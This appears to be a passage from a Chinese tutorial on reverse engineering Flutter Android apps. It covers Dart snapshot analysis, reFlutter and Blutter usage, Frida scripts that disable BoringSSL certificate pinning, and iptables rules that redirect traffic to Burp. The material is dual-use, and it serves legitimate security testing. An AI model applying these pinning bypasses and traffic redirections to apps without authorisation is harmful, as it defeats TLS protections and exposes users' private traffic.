# 从 libflutter.so 中提取版本信息 strings libflutter.so | grep -E \"Flutter [0-9]+\\.[0-9]+\" # 或者搜索 Dart SDK 版本 strings libflutter.so | grep -E \"Dart.*[0-9]+\\.[0-9]+\\.[0-9]+\" # 通过 snapshot hash 判断版本 strings libapp.so | head -20 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:2:5","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#flutter-版本识别"},{"categories":null,"collections":null,"content":"Dart 快照格式分析 理解 Dart Snapshot 格式是深入逆向 Flutter 的基础。libapp.so 的核心就是一个 Dart VM Snapshot。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:3:0","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#dart-快照格式分析"},{"categories":null,"collections":null,"content":"Snapshot 结构概览 libapp.so (ELF) ├── .text # 机器码指令段 ├── .rodata # 只读数据 ├── _kDartVmSnapshotData # VM 级别快照数据 (类型系统等) ├── _kDartVmSnapshotInstructions # VM 内部 Stub 代码 ├── _kDartIsolateSnapshotData # Isolate 快照数据 (对象、常量) └── _kDartIsolateSnapshotInstructions # Isolate 代码 (开发者代码) 这四个符号在 libapp.so 中是始终存在的（即使其他符号被剥离），它们分别代表： 符号 内容 逆向价值 _kDartVmSnapshotData Dart 类型系统、核心类定义 还原类型信息 _kDartVmSnapshotInstructions VM 内部运行时 Stub 一般不需要分析 _kDartIsolateSnapshotData 对象池、常量表、库列表 核心 — 类/函数元数据 _kDartIsolateSnapshotInstructions 所有 AOT 编译的函数代码 核心 — 可执行代码 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:3:1","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#snapshot-结构概览"},{"categories":null,"collections":null,"content":"Snapshot 数据段内部结构 Isolate Snapshot Data 的内部布局（简化）： +----------------------------------+ | Snapshot Header | | - Magic Number | | - Snapshot Kind | | - Version Hash | \u003c-- 与 Flutter/Dart 版本强绑定 +----------------------------------+ | Object Store / Pool | | +----------------------------+ | | | Object #0: Null | | | | Object #1: Bool (true) | | | | Object #2: Smi (42) | | | | Object #3: String \"hello\" | | | | Object #4: Array [...] | | | | ... | | | +----------------------------+ | +----------------------------------+ | Class Table | | - ClassId -\u003e Class Descriptor | | - 字段数量、类型、偏移 | | - 父类引用 | +----------------------------------+ | Library Table | | - Library URI (如 package:app/) | | - 导出的类和函数列表 | +----------------------------------+ | Code / Function Table | | - FunctionName -\u003e Code Offset | \u003c-- 函数名到指令偏移的映射 | - Entry Point Table | +----------------------------------+ | Dispatch Table (新版本) | | - Selector ID -\u003e Code Offset | +----------------------------------+ ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:3:2","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#snapshot-数据段内部结构"},{"categories":null,"collections":null,"content":"版本兼容性问题 Dart Snapshot 格式 没有向后兼容性保证。每个 Dart SDK 版本都可能改变 Snapshot 的内部格式。这意味着： Dart SDK 2.17 生成的 Snapshot ≠ Dart SDK 2.18 的格式 Dart SDK 3.0 生成的 Snapshot ≠ Dart SDK 3.1 的格式 关键影响：所有解析 Snapshot 的逆向工具（Doldrums、Blutter、darter 等）都必须与目标 App 的 Dart SDK 版本匹配，否则无法正确解析。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:3:3","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#版本兼容性问题"},{"categories":null,"collections":null,"content":"手动定位 Snapshot 入口 使用 readelf 找到关键符号的地址： # 列出 libapp.so 中的动态符号 readelf -s libapp.so | grep -i \"snapshot\" # 预期输出: # 1: 0000000000001000 5242880 OBJECT GLOBAL DEFAULT _kDartVmSnapshotInstructions # 2: 0000000000501000 2097152 OBJECT GLOBAL DEFAULT _kDartIsolateSnapshotInstructions # 3: 0000000000701000 524288 OBJECT GLOBAL DEFAULT _kDartVmSnapshotData # 4: 0000000000781000 1048576 OBJECT GLOBAL DEFAULT _kDartIsolateSnapshotData ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:3:4","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#手动定位-snapshot-入口"},{"categories":null,"collections":null,"content":"reFlutter 工具使用 reFlutter 是目前最强大的 Flutter 逆向辅助工具。它通过修改 Flutter 引擎 (libflutter.so)，在应用运行时利用 Dart VM 的内部机制来 Dump 类、函数和偏移信息。 工具地址: reFlutter ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:4:0","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#reflutter-工具使用"},{"categories":null,"collections":null,"content":"安装 # 通过 pip 安装 pip3 install reflutter # 验证安装 reflutter --help ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:4:1","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#安装"},{"categories":null,"collections":null,"content":"基本使用流程 +------------------+ +------------------+ +------------------+ | 原始 APK | ----\u003e | reFlutter | ----\u003e | Patched APK | | (target.apk) | | (替换引擎) | | (release.RE.apk) | +------------------+ +------------------+ +------------------+ | v +------------------+ | 安装到手机运行 | +------------------+ | +-------------------+-------------------+ | | v v +------------------+ +------------------+ | dump.dart | | 流量转发到代理 | | (函数偏移表) | | (绕过SSL Pinning)| +------------------+ +------------------+ ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:4:2","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#基本使用流程"},{"categories":null,"collections":null,"content":"操作步骤 # 第 1 步: 运行 reFlutter 处理 APK reflutter target.apk # 交互过程中选择: # 1) Traffic monitoring and interception \u003c-- 流量拦截 # 2) Socket trace \u003c-- Socket 追踪 # # 选择 1 后输入代理 IP (如 Burp 监听的 IP): # Enter your Burp Suite IP: 192.168.1.100 # 第 2 步: 签名 Patched APK # reFlutter 输出的 APK 未签名，需要重新签名 apksigner sign --ks my-key.keystore \\ --ks-pass pass:password \\ release.RE.apk # 或使用 uber-apk-signer java -jar uber-apk-signer.jar -a release.RE.apk # 第 3 步: 安装运行 adb install release.RE.apk # 第 4 步: 启动应用并监控 Logcat adb logcat -s flutter # 第 5 步: 获取 dump.dart 文件 adb pull /data/data/com.target.app/dump.dart . ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:4:3","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#操作步骤"},{"categories":null,"collections":null,"content":"dump.dart 解读 dump.dart 是 reFlutter 导出的函数偏移表，格式如下： // dump.dart 示例内容 Library:'package:http/http.dart' Class: Client extends Object { Function 'get':. String url { Code Coverage: _kDartIsolateSnapshotInstructions + 0x29a4c0 } Function 'post':. String url, Map\u003cString, String\u003e headers, Object body { Code Coverage: _kDartIsolateSnapshotInstructions + 0x29a690 } } Library:'package:target_app/services/api_service.dart' Class: ApiService extends Object { Function 'login':. String username, String password { Code Coverage: _kDartIsolateSnapshotInstructions + 0x3a1200 } Function 'fetchUserData':. int userId { Code Coverage: _kDartIsolateSnapshotInstructions + 0x3a1580 } Function 'encryptPayload':. String plaintext { Code Coverage: _kDartIsolateSnapshotInstructions + 0x3a1920 } } 重点：Code Coverage 后面的偏移地址就是函数在 libapp.so 中的实际位置，可以直接用于 Frida Hook 或 IDA 定位。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:4:4","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#dumpdart-解读"},{"categories":null,"collections":null,"content":"reFlutter 的局限性 局限 说明 Flutter 版本兼容性 新版 Flutter 可能尚未被 reFlutter 支持 需要重打包 某些 App 有完整性校验，重打包后无法运行 Root 检测 Patched App 可能触发 Root/完整性检测 仅提供偏移 不提供函数体的反编译，需要配合其他工具 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:4:5","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#reflutter-的局限性"},{"categories":null,"collections":null,"content":"Frida 拦截 Flutter 网络请求 Flutter 应用不使用系统的代理设置，也不使用 Java 层的 HTTP 客户端 (OkHttp)，而是使用 Dart 自己的 HttpClient，底层依赖 BoringSSL。因此，传统的抓包设置（Wi-Fi 代理）和 Frida SSL Pinning 脚本通常无效。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:5:0","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#frida-拦截-flutter-网络请求"},{"categories":null,"collections":null,"content":"BoringSSL 证书验证 Hook Flutter 内嵌的 BoringSSL 库在 libflutter.so 中。我们需要 Hook 其中的证书验证函数： /** * Flutter SSL Pinning Bypass (通用版) * * 目标: Hook libflutter.so 中 BoringSSL 的 ssl_crypto_x509_session_verify_cert_chain * 原理: 使该函数始终返回 1 (验证成功) */ function findVerifyCertFunction() { // 方法 1: 通过导出符号查找 (有符号版本) var addr = Module.findExportByName(\"libflutter.so\", \"ssl_crypto_x509_session_verify_cert_chain\"); if (addr) { console.log(\"[+] 通过符号名找到验证函数: \" + addr); return addr; } // 方法 2: 通过特征码搜索 (无符号版本, ARM64) // 该特征码对应证书验证函数的序言部分 var patterns = [ // Flutter 3.x 系列特征码 \"FF 03 05 D1 FD 7B 0F A9 F4 4F 0E A9 F6 57 0D A9\", // Flutter 2.x 系列特征码 \"FF 43 04 D1 FE 67 0E A9 FD 7B 0D A9 FC 6F 0C A9\", ]; var module = Process.findModuleByName(\"libflutter.so\"); for (var i = 0; i \u003c patterns.length; i++) { var matches = Memory.scanSync(module.base, module.size, patterns[i]); if (matches.length \u003e 0) { console.log(\"[+] 通过特征码找到验证函数: \" + matches[0].address); return matches[0].address; } } console.log(\"[-] 未找到证书验证函数，请更新特征码\"); return null; } function bypassSSLVerification() { var verifyFunc = findVerifyCertFunction(); if (!verifyFunc) return; Interceptor.replace(verifyFunc, new NativeCallback(function () { console.log(\"[*] SSL 验证被绕过\"); return 1; // 返回验证成功 }, 'int', [])); console.log(\"[+] SSL Pinning Bypass 已激活\"); } // 等待 libflutter.so 加载完成后执行 function waitForFlutter() { var interval = setInterval(function () { var module = Process.findModuleByName(\"libflutter.so\"); if (module) { clearInterval(interval); console.log(\"[*] libflutter.so 已加载: \" + module.base); bypassSSLVerification(); } }, 500); } waitForFlutter(); ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:5:1","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#boringssl-证书验证-hook"},{"categories":null,"collections":null,"content":"Hook Dart HttpClient (通过 libapp.so 偏移) 结合 reFlutter 导出的 dump.dart，可以 Hook 具体的 Dart 网络请求函数： /** * Hook Dart HttpClient 请求 * 需要配合 reFlutter 的 dump.dart 获取偏移地址 */ // 假设 dump.dart 中获取到以下偏移: // HttpClient._openUrl: 0x29a4c0 // _HttpClientRequest.close: 0x29b100 // _HttpClientResponse._readBody: 0x29c200 var libapp = Module.findBaseAddress(\"libapp.so\"); if (!libapp) { console.log(\"[-] libapp.so 未加载\"); } else { console.log(\"[*] libapp.so base: \" + libapp); // Hook HTTP 请求发送 var openUrlOffset = 0x29a4c0; Interceptor.attach(libapp.add(openUrlOffset), { onEnter: function (args) { console.log(\"[*] HttpClient._openUrl 被调用\"); // 注意: Dart 的参数传递方式与 C 不同 // 需要根据 ARM64 ABI 和 Dart 调用约定分析寄存器 // x0 通常是 this 指针 // x1, x2, x3... 是参数 console.log(\" this = \" + args[0]); console.log(\" arg1 = \" + args[1]); // 尝试读取 Dart String 对象内容 // Dart String 对象布局: [tag][hash][length][data...] try { var strObj = args[1]; var length = strObj.add(Process.pointerSize * 2).readS32(); if (length \u003e 0 \u0026\u0026 length \u003c 2048) { var data = strObj.add(Process.pointerSize * 3).readUtf8String(length); console.log(\" URL = \" + data); } } catch (e) { // 解析失败，Dart 对象布局可能不同 } } }); } ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:5:2","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#hook-dart-httpclient-通过-libappso-偏移"},{"categories":null,"collections":null,"content":"强制 Dart HttpClient 使用代理 /** * Hook Dart Socket.connect 使流量经过代理 * * 原理: Dart 的 HTTP 请求最终会调用 Socket.connect * 我们将目标地址替换为代理服务器地址 */ var PROXY_HOST = \"192.168.1.100\"; var PROXY_PORT = 8080; // 需要先从 dump.dart 或 blutter 输出中获取 Socket._nativeConnect 的偏移 // 以下偏移仅为示例 var socketConnectOffset = 0x1234; // 替换为实际偏移 var libapp = Module.findBaseAddress(\"libapp.so\"); Interceptor.attach(libapp.add(socketConnectOffset), { onEnter: function (args) { // 修改连接目标为代理地址 console.log(\"[*] Socket.connect intercepted\"); // 具体的参数修改取决于 Dart 版本和调用约定 } }); ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:5:3","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#强制-dart-httpclient-使用代理"},{"categories":null,"collections":null,"content":"Flutter 逆向工具链 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:6:0","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#flutter-逆向工具链"},{"categories":null,"collections":null,"content":"工具对比总览 工具 类型 原理 优势 劣势 reFlutter 动态 替换 libflutter.so，运行时 Dump 获取完整函数偏移表 需要重打包 Blutter 静态 解析 Snapshot 格式 支持新版 Dart，输出详细 编译依赖较多 Doldrums 静态 解析 Snapshot 格式 使用简单 支持的 Dart 版本有限 darter 静态 解析 Snapshot 格式 Python 实现，易修改 维护不活跃 dart-ffi 动态 通过 Dart FFI 接口交互 灵活 需要深入理解 Dart FFI Flutter Analyzer 静态 综合分析框架 集成度高 学习曲线陡 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:6:1","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#工具对比总览"},{"categories":null,"collections":null,"content":"Blutter (推荐) Blutter 是目前最活跃且支持新版 Dart 的静态分析工具。 安装： # 克隆仓库 git clone https://github.com/aspect-build/blutter.git cd blutter # 安装依赖 (需要 CMake, Ninja, Python 3) python3 scripts/init.py # 编译 python3 scripts/build.py 使用： # 从 APK 中提取 libapp.so 和 libflutter.so mkdir extracted \u0026\u0026 cd extracted unzip ../target.apk lib/arm64-v8a/libapp.so lib/arm64-v8a/libflutter.so # 运行 Blutter 分析 python3 blutter.py lib/arm64-v8a/libapp.so lib/arm64-v8a/libflutter.so output/ Blutter 输出结构： output/ ├── asm/ # 每个 Dart 函数的反汇编 │ ├── ApiService.login.asm │ ├── ApiService.fetchUserData.asm │ └── ... ├── blutter_frida.js # 自动生成的 Frida 脚本模板 ├── objs.txt # 对象池信息 ├── pp.txt # 对象池指针列表 └── ida_script/ └── addNames.py # IDA Pro 符号导入脚本 Blutter 输出的反汇编示例： ; ApiService.login (String username, String password) ; offset: 0x3a1200 ; Object Pool: ; pp+0x10: \"https://api.target.com/v1/auth/login\" ; pp+0x18: \"username\" ; pp+0x20: \"password\" ; pp+0x28: \"Content-Type\" ; pp+0x30: \"application/json\" 0x3a1200: stp x29, x30, [sp, #-0x40]! 0x3a1204: mov x29, sp 0x3a1208: ldr x16, [PP, #0x10] ; \"https://api.target.com/v1/auth/login\" 0x3a120c: str x16, [sp, #0x08] ... 0x3a1260: bl HttpClient.post ; 调用 HTTP POST ... ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:6:2","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#blutter-推荐"},{"categories":null,"collections":null,"content":"Doldrums 安装与使用： # 克隆仓库 git clone https://github.com/nicolo-ribaudo/doldrums.git cd doldrums # 运行 (需要 Dart SDK) dart run bin/doldrums.dart libapp.so output_dir/ 输出示例 (dump.dart 格式)： library package:target_app/models/user.dart class User extends Object { // Fields: String name; // offset 0x08 String email; // offset 0x10 int id; // offset 0x18 // Methods: String toString() { /* offset: 0x1a2000 */ } Map\u003cString, dynamic\u003e toJson() { /* offset: 0x1a2100 */ } factory User.fromJson(Map\u003cString, dynamic\u003e json) { /* offset: 0x1a2200 */ } } ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:6:3","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#doldrums"},{"categories":null,"collections":null,"content":"darter # 安装 pip3 install darter # 使用 darter libapp.so --output dump.json # 输出为 JSON 格式，方便程序化处理 python3 -c \" import json with open('dump.json') as f: data = json.load(f) for lib in data['libraries']: print(f\\\"Library: {lib['uri']}\\\") for cls in lib['classes']: print(f\\\" Class: {cls['name']}\\\") for func in cls['functions']: print(f\\\" {func['name']}: 0x{func['offset']:x}\\\") \" ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:6:4","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#darter"},{"categories":null,"collections":null,"content":"libapp.so 分析技巧 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:7:0","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#libappso-分析技巧"},{"categories":null,"collections":null,"content":"IDA Pro 分析 直接用 IDA Pro 打开 libapp.so 会看到大量无名函数。需要配合工具恢复符号信息。 步骤 1: 导入符号 # IDA Python 脚本: 从 Blutter 输出导入符号 # 文件: import_blutter_symbols.py import idaapi import idautils import idc def import_blutter_names(script_path): \"\"\"导入 Blutter 生成的 addNames.py 符号\"\"\" with open(script_path, 'r') as f: for line in f: line = line.strip() # 格式: idc.set_name(0xADDRESS, \"ClassName.methodName\", SN_NOWARN) if line.startswith(\"idc.set_name\"): try: exec(line) except Exception as e: print(f\"Error: {line}: {e}\") print(\"[+] 符号导入完成\") idaapi.refresh_idaview_anyway() # 执行 import_blutter_names(\"/path/to/output/ida_script/addNames.py\") 步骤 2: 识别 Dart 调用约定 Dart AOT (ARM64) 使用如下寄存器约定： 寄存器 Dart 用途 说明 x0 函数返回值 / 第一个参数 类似标准 ABI x1-x7 函数参数 x15 Shadow call stack (某些版本) x26 Dart Thread 指针 (THR) 指向当前 Dart Thread 结构 x27 Object Pool 指针 (PP) 重要 — 字符串/常量通过此指针访问 x28 Dart Heap 指针 (HEAP) 新对象分配相关 x29 Frame Pointer (FP) 栈帧指针 x30 Link Register (LR) 返回地址 SP Stack Pointer 栈指针 关键: x27 (PP - Pool Pointer) 是理解 Dart 代码的关键。所有字符串字面量、API URL、加密密钥等常量都通过 PP + offset 来访问。 步骤 3: 解读 Object Pool 引用 ; IDA 中常见的 Dart 代码模式: ldr x16, [x27, #0x1a8] ; 从 Object Pool 加载对象 ; x27 = PP (Pool Pointer) ; 0x1a8 = 对象在 Pool 中的偏移 ; 要知道 0x1a8 处是什么对象, 需要查看 Blutter 输出的 pp.txt: ; pp+0x1a8: String \"api_key\" ; pp+0x1b0: String \"X-Auth-Token\" ; pp+0x1b8: Function 'encrypt' ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:7:1","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#ida-pro-分析"},{"categories":null,"collections":null,"content":"Ghidra 分析 Ghidra 分析 libapp.so 的流程与 IDA 类似，但需要不同的脚本： # Ghidra Script: 从 Blutter 导入符号 # 文件: ImportBlutterSymbols.py (放入 Ghidra Scripts 目录) import re def run(): f = askFile(\"Select Blutter output file\", \"Open\") with open(str(f)) as fp: for line in fp: match = re.match(r'(\\w+)\\s+(\\w+)\\s+(.+)', line.strip()) if match: addr_str, size_str, name = match.groups() addr = toAddr(int(addr_str, 16)) # 创建函数并命名 createFunction(addr, name) sym = getSymbolAt(addr) if sym: sym.setName(name, ghidra.program.model.symbol.SourceType.USER_DEFINED) println(\"[+] 导入完成\") ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:7:2","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#ghidra-分析"},{"categories":null,"collections":null,"content":"快速定位技巧 技巧 1: 搜索字符串常量 # 在 libapp.so 中搜索有意义的字符串 strings -n 8 libapp.so | grep -iE \"(api|http|login|token|encrypt|password|secret)\" # 常见发现: # https://api.target.com/v1/ # Authorization # X-API-Key # AES/CBC/PKCS5Padding # SHA256 技巧 2: 通过 URL 定位网络请求函数 1. strings 找到 API URL (如 \"https://api.target.com/v1/login\") 2. 在 Blutter 的 pp.txt 中搜索该字符串 3. 找到对应的 Pool 偏移 (如 pp+0x1a8) 4. 在 asm/ 中搜索引用该偏移的函数 5. 定位到具体的业务逻辑函数 技巧 3: 通过交叉引用追踪调用链 # 在 Blutter 的反汇编输出中搜索函数调用 grep -r \"bl.*ApiService.login\" output/asm/ # 或搜索 Pool 偏移引用 grep -r \"\\[PP, #0x1a8\\]\" output/asm/ ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:7:3","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#快速定位技巧"},{"categories":null,"collections":null,"content":"实战：Flutter App 抓包 💡 思路一句话: Flutter 使用 Dart VM 自带的证书校验（不走系统证书库），所以传统抓包方法失效 → 需要 hook BoringSSL 的 ssl_verify_peer_cert 函数 → 或使用 reFlutter 重打包注入代理。 这是一个完整的 Flutter App HTTPS 流量拦截实战流程。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:8:0","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#实战flutter-app-抓包"},{"categories":null,"collections":null,"content":"环境准备 +------------------+ +------------------+ | Android 手机 | \u003c--- 同一网络 ---\u003e | PC (分析机) | | - 已 Root | | - Burp Suite | | - Frida Server | | - adb | | - 目标 App | | - reflutter | +------------------+ +------------------+ 192.168.1.101 192.168.1.100 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:8:1","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#环境准备"},{"categories":null,"collections":null,"content":"方案一：reFlutter 重打包方案（推荐） # ============================================ # 第 1 步: reFlutter 处理 APK # ============================================ reflutter target.apk # 选择 1 (Traffic monitoring and interception) # 输入代理 IP: 192.168.1.100 # ============================================ # 第 2 步: 签名 # ============================================ # 生成临时签名密钥 (如果没有) keytool -genkey -v -keystore debug.keystore \\ -alias debug -keyalg RSA -keysize 2048 \\ -validity 10000 -storepass android -keypass android \\ -dname \"CN=Debug\" # 对齐 + 签名 zipalign -v 4 release.RE.apk release.RE.aligned.apk apksigner sign --ks debug.keystore \\ --ks-pass pass:android \\ release.RE.aligned.apk # ============================================ # 第 3 步: 安装并运行 # ============================================ adb install release.RE.aligned.apk # ============================================ # 第 4 步: 配置 Burp Suite # ============================================ # Burp -\u003e Proxy -\u003e Options -\u003e Proxy Listeners # 绑定: 192.168.1.100:8083 (所有接口) # 注意: reFlutter 默认转发到代理的 8083 端口 # ============================================ # 第 5 步: 开始抓包 # ============================================ # 启动 App，Burp 中即可看到 Flutter 的 HTTPS 请求 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:8:2","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#方案一reflutter-重打包方案推荐"},{"categories":null,"collections":null,"content":"方案二：Frida Hook 方案（无需重打包） /** * Flutter SSL Pinning Bypass + Proxy Redirect * * 使用方法: * frida -U -f com.target.app -l flutter_ssl_bypass.js --no-pause */ var PROXY_IP = \"192.168.1.100\"; var PROXY_PORT = 8080; // ======================================== // Part 1: 绕过 SSL 证书验证 // ======================================== function hookSSLVerify() { var flutter = Process.findModuleByName(\"libflutter.so\"); if (!flutter) { console.log(\"[-] libflutter.so 未加载，等待中...\"); return false; } console.log(\"[*] libflutter.so: \" + flutter.base + \" - \" + flutter.base.add(flutter.size)); // 搜索 ssl_crypto_x509_session_verify_cert_chain 特征码 // ARM64 特征码 (根据 Flutter 版本可能不同) var pattern = \"FF 03 05 D1 FD 7B 0F A9 F4 4F 0E A9 F6 57 0D A9\"; var matches = Memory.scanSync(flutter.base, flutter.size, pattern); if (matches.length === 0) { // 尝试备用特征码 pattern = \"FF 43 04 D1 FE 67 0E A9 FD 7B 0D A9\"; matches = Memory.scanSync(flutter.base, flutter.size, pattern); } if (matches.length \u003e 0) { var verifyFunc = matches[0].address; console.log(\"[+] 找到验证函数: \" + verifyFunc); // 替换为直接返回 1 (成功) Interceptor.replace(verifyFunc, new NativeCallback(function () { return 1; }, 'int', [])); console.log(\"[+] SSL 验证已绕过\"); return true; } console.log(\"[-] 未找到验证函数特征码\"); return false; } // ======================================== // Part 2: 拦截 DNS 解析，实现透明代理 // ======================================== function hookGetAddrInfo() { var getaddrinfo = Module.findExportByName(null, \"getaddrinfo\"); if (getaddrinfo) { Interceptor.attach(getaddrinfo, { onEnter: function (args) { var host = args[0].readCString(); this.host = host; console.log(\"[DNS] \" + host); }, onLeave: function (retval) { // 可选: 将特定域名解析到代理 IP // 通常配合 iptables 透明代理使用 } }); } } // ======================================== // 主逻辑 // ======================================== console.log(\"[*] Flutter SSL Bypass Script 启动\"); // 等待 libflutter.so 加载 var checkInterval = setInterval(function () { if (hookSSLVerify()) { clearInterval(checkInterval); hookGetAddrInfo(); console.log(\"[+] 所有 Hook 已就绪\"); } }, 1000); ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:8:3","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#方案二frida-hook-方案无需重打包"},{"categories":null,"collections":null,"content":"方案三：ProxyDroid + iptables 透明代理 当上述方案均失败时，可以使用系统级透明代理强制重定向所有 TCP 流量： # 在 Root 手机上设置 iptables 透明代理 # 将所有 443 端口流量重定向到 Burp adb shell su -c \"iptables -t nat -A OUTPUT -p tcp --dport 443 \\ -j DNAT --to-destination 192.168.1.100:8083\" adb shell su -c \"iptables -t nat -A OUTPUT -p tcp --dport 80 \\ -j DNAT --to-destination 192.168.1.100:8080\" # 清除规则 (分析完成后) adb shell su -c \"iptables -t nat -F\" 注意: 此方案仍需配合 SSL 证书验证绕过，否则 TLS 握手会失败。 ","date":"2025-02-27","objectID":"/reverse_engineering/android/03-case-studies/case_flutter_apps/:8:4","tags":["Native层","Flutter","代理池","Frida","案例分析","SSL Pinning"],"title":"Flutter 应用逆向案例","uri":"/reverse_engineering/android/03-case-studies/case_flutter_apps/#方案三proxydroid--iptables-透明代理"},{"categories":null,"collections":null,"content":"抓包结果分析 成功抓包后，典型的 Flutter App API 请求如下： POST /v1/api/getUserInfo HTTP/1.1 Host: api.target.com Content-Type: 